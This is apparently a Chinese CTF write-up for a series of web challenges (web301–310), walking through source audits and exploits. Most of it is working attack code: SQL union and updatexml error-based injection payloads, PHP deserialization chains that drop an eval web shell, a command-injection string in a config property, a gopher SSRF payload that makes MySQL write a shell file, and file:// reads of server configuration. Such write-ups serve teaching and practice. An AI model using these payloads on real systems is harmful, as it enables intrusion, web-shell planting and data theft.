web301-- sql注入
这里看了一下文件发现,就一些登入页面文件
然后简单看了一下文件,定位到checklogin.php这个文件,做个简单的代码审计
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:""; //判断当前传入的userid是否为空,空的话返回为空
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:""; //判断当前传入的userpwd是否为空,空的话返回为空
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; # 查询账号密码
$result=$mysqli->query($sql); # mysql_query() 函数执行一条 MySQL 查询。
$row=$result->fetch_array(MYSQLI_BOTH); # mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){ # 查询输入的密码,要等于查询的密码
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
发现查询输入的密码,要等于查询的密码,所以开始构造
userid=-1 union select 1#userpwd=1
WEB302 – sql注入
这题在上题的基础上多了一个加密函数
strcasecmp(sds_decode($userpwd),$row['sds_password']
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
这里还是没有防护,所以我们这里只需要改一下查询的参数即可,我们可以在这里输出一下
继续构造payload
userid=-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'%23&userpwd=1
web303 – 报错注入
老规矩拿到源代码之后,把源码放到seay源代码审计系统康康
这里看一下这个语句是从哪里过来的
这里看了一下发现是这个页面传过来的
这里是访问一下这个网页
这里抓包看一下
这里可以看到当查询失败的时候回有报错
所以我们这边直接使用报错注入,但是一定要注意报错注入是有限制长度的。
payload:dpt_name=1’ or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),1,30),0x7e),1)#
payload: dpt_name=1’ or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),29,60),0x7e),1)#
web304 sql注入
增加了全局waf
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
但是还是可以注入。
payload:
dpt_name=1',sds_address =(select group_concat(flag) from sds_flaag)#
web305 反序列化
下载源代码
多了waf:
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
但是同时也多了反序列化入口,这里包含了class.php
这里看到利用条件,直接写马,这里的方法刚刚好是destruct,销毁及调用
使用这里只需要在登入页面抓包,然后再cookie里发送user=exp
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
echo urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>')));
得到
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
连接上去之后,发现找不到flag,这里flag在数据库里面,需要连接数据库
web306 反序列化
代码地址:https://pan.baidu.com/s/14NNHrtQayhOBN9t8Iq3V_g提取码 wiji
mvc结构的代码,index.php、dao.php、class.php看一下就可以了
首先找到反序列化入口
index.php
这里可以看到包含了这两个页面
conn.php
dao.php
这里好像也没有什么利用的点
这里我们继续看class.php
这里发现了一个利用的点结合刚刚的dao.php就可以利用起来了,刚刚好又调用了close方法,所以我们只需要new log即可
exp
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
public function __destruct(){
$this->conn->close();
}
}
class log{
public $title='log.php';
public $info='<?php eval($_POST[1]);?>';
public function close(){
file_put_contents($this->title, $this->info);
}
}
echo base64_encode(serialize(new dao()));
这里还是跟上一题一样,但是需要在index之后,账号密码是admin/admin1
web307反序列化命令执行
首先拿到源码,掏出我们的神器seay来先进行简单的代码审计
我们看到第二个出现了命令执行函数,所以可以直接去跟进看看能不能直接利用。
这里我们看到上面config已经实例化,这里包含了config.php,接下来我们去config.php看看这个参数cache_dir。
发现是个变量可以直接利用
接下来我们找一个怎样才能触发这个命令执行函数,这里用全局搜索发现从这里调用,
然后从这个页面开始触发,所以就可以开始构造了。
poc
<?php
class config{
public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >a.php;';//linux的shell里面$有特殊意义所以转义一下。
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
web308 ssrf 打mysql
这题还是一样先用seay代码审计工具试一下,发现还是一样的
但是我们这里跟进一下就会发现,不对劲过滤了,所以这里咱们暂时不能利用了。
假如想快速找出代码不同之处,可以用源代码对比工具,这里我的工具不见了。所以只能硬找了。反正代码也不是很多。
然后就发现fun.php里面有个curl_exec,看到这个函数想到ssrf
然后在里这里调用的,我们跟进一下参数
发现mysql好像是没有密码的,然后gopher的利用条件是
如果用户没有密码保护,你可以转储他的数据库,也可以在他的系统中放置恶意文件
然后这题也清晰了,但是得找到入口,入口在index所以可以开始构造
开始构造
poc
<?php
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
public $config;
public function __construct(){
$this->config=new config();
}
}
$a = new dao;
echo base64_encode(serialize($a));
web308 ssrf 打 fastcgi
打的不是mysql了,打的是fastcgi.探测是通过gopher协议的延迟判断的
gopher://127.0.0.1:9000
直接打就是了,这里需要在index.php执行,这里我们可以利用heander跳到index。php里面去
web 310 ssrf读配置文件
9000和6379都是关着的。那我们可以试试读下配置文件
poc
<?php
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
得到关键信息
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
接着访问下
poc
<?php
class config{
public $update_url = 'http://127.0.0.1:4476';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>